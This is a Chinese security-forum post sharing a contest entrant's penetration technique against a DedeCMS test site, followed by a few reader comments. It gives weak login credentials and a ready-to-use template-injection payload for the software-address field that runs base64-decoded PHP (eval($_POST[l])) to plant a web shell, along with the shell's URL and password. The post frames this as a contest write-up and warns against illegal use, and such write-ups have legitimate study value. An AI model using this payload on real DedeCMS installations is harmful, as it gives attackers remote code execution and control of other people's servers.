[其他]某高手参加本站渗透比赛技术分享（图文+视频） [复制链接]

活动地址：
红黑联盟：首届网络安全渗透大赛开始咯，你hold得住吗|http://bbs.2cto.com/read.php?tid=272376

某高手参加本站渗透比赛技术分享如下：（这里要说下，因为在之前这个站点是带有数据的，所以会有弱口令出现，现在重新弄了下，把数据全删了，所以现在这个思路是行不通的，这里主要是给大家分享下这个思路。还是那句原话，别做非法行为，本站的活动权全归本站所有）


http://dede.tmd5.com/member/
yuejie  123456  弱口令
内容那里添加上传软件
本地地址 http://www.hao123.com

提交后修改
软件地址1 改为

http://www.hao123.com}x{/dede:link}{dede:link text="ZXZhbCgkX1BPU1RbbF0pOw=="}x{/dede:link}{dede:t",eval(base64_decode($z[1][4][text]))," name="x"}x{/dede:t",eval(base64_decode($z[1][4][text])),"}{dede:link}

查看更改
http://dede.tmd5.com/member/soft_edit.php?channelid=3&aid=111
就是shell 地址
密码为  l

图片:.jpg

图片:.jpg

图片:.jpg

PS：为了以防公正，本站特邀请这个高手做了录像视频，下载地址：/soft/201210/34789.html

下载视频学习去喽~顺便弄个沙发

重新来?

最后一句话有点语病。以防公正=用以防止公正。为了不公正，所以请高手做了个视频？

改成：为公平起见，本站特邀……可能更符合楼主想表达的意思

  瞧瞧

果然是弱口令吗

这东西看看先，学习学习

看不懂  求解释